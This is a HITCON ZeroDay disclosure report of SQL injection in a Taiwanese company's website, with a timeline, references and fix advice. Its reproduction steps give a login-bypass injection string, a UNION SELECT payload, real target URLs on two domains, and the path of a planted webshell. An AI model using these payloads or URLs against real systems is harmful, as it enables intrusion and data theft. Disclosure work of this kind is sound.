Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-01189
- Vendor: 金永祥配管股份有限公司
- Title: 金永祥配管 SQLi
- Introduction: 前台&後台都存在存在SQLi並可以順利拿到webshell
處理狀態
目前狀態
公開
Last Update : 2018/10/23
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/08/23 21:13:45 : 新提交 (由 Noth 更新此狀態)
- 2018/08/24 00:08:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/08/24 11:18:03 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/08/24 11:18:04 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/08/29 11:19:06 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/10/23 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-01189
- 通報者:Cake7528064 (Noth)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.kyx.tw
敘述
重現:
利用googlehaking找到該網站
http://www.kyx.tw/admin/index.php
帳號: " or "=' 密碼: " or "='
順利登進去後台管理系統
利用截斷等方式,順利拿到webshell
http://www.kyx.tw/admin/upload/201808232043413083.php
前台的部分也是存在注入點
http://www.dong.org.tw/yiyuan.php?id=-24 UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6-- -&smallclass=%E9%86%AB%E9%99%A2%E4%BB%8B%E7%B4%B9
稍微觀察到裡面的檔案時間很新,應該是剛建立的網站,請修復
修補建議
1. 過濾掉惡意參數
2. 關閉錯誤提示
3. 對所有可能可以注入的參數做嚴謹的過濾
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。